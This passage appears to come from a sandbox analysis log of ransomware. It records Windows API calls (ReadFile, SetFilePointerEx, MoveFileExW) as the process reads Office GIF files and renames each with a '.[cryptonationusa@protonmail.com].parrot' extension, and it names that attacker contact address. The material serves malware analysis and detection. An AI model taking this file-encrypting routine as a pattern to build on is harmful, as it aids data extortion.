lpOverlapped=0x0) returned 1 [0178.373] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.380] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.380] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.382] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.382] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67f9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x67f9, lpOverlapped=0x0) returned 1 [0178.383] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.389] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.391] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.391] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ba1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ba1, lpOverlapped=0x0) returned 1 [0178.392] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.432] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.432] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.434] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cd7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1cd7, lpOverlapped=0x0) returned 1 [0178.435] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.441] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.441] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.442] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.443] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b99, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b99, lpOverlapped=0x0) returned 1 [0178.444] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.449] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.450] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.451] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.451] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fc2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fc2, lpOverlapped=0x0) returned 1 [0178.452] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.459] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.459] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.460] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.461] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8edb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8edb, lpOverlapped=0x0) returned 1 [0178.462] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.467] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.467] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.469] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.469] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10a7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10a7, lpOverlapped=0x0) returned 1 [0178.470] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.475] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.475] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.477] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.477] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x117f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x117f, lpOverlapped=0x0) returned 1 [0178.478] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.483] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.483] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.523] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.523] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2395, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2395, lpOverlapped=0x0) returned 1 [0178.524] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.531] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.531] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.532] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1179, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1179, lpOverlapped=0x0) returned 1 [0178.533] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.539] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.540] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.540] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x592b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x592b, lpOverlapped=0x0) returned 1 [0178.541] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.547] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.547] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.548] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdb2e, lpOverlapped=0x0) returned 1 [0178.549] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.555] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.556] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.557] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.557] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ade, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2ade, lpOverlapped=0x0) returned 1 [0178.558] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.564] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.564] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.571] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.571] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41e5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x41e5, lpOverlapped=0x0) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.580] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.580] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.581] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.581] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5559, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5559, lpOverlapped=0x0) returned 1 [0178.582] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.589] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.589] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.590] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.591] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fdf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5fdf, lpOverlapped=0x0) returned 1 [0178.592] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.599] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.599] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.600] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.600] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1038, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1038, lpOverlapped=0x0) returned 1 [0178.601] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 